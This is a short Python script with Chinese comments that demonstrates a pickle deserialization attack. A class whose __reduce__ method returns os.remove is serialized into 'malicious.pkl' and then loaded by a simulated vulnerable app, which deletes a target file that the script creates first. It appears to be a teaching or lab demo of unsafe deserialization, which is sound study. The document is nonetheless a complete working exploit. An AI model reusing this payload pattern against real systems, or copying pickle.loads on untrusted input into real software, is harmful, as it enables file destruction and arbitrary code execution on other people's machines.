import pickle
import os


class FileDeleter:
    def __reduce__(self):
        # 删除指定文件
        return (os.remove, ('D:/shuangti/important_file.txt',))


def generate_payload():
    """生成恶意载荷"""
    malicious_obj = FileDeleter()
    payload = pickle.dumps(malicious_obj)

    # 保存到文件
    with open('D:/shuangti/malicious.pkl', 'wb') as f:
        f.write(payload)
    print("恶意载荷已生成: malicious.pkl")


def vulnerable_app():
    """模拟有漏洞的应用"""
    try:
        # 从文件读取并反序列化（危险操作！）
        with open('D:/shuangti/malicious.pkl', 'rb') as f:
            data = f.read()
            obj = pickle.loads(data)  # 漏洞触发！

        print("反序列化完成")
    except Exception as e:
        print(f"错误: {e}")


if __name__ == "__main__":
    # 先创建测试文件
    with open('D:/shuangti/important_file.txt', 'w') as f:
        f.write("重要数据")

    generate_payload()
    vulnerable_app()  # 运行后文件会被删除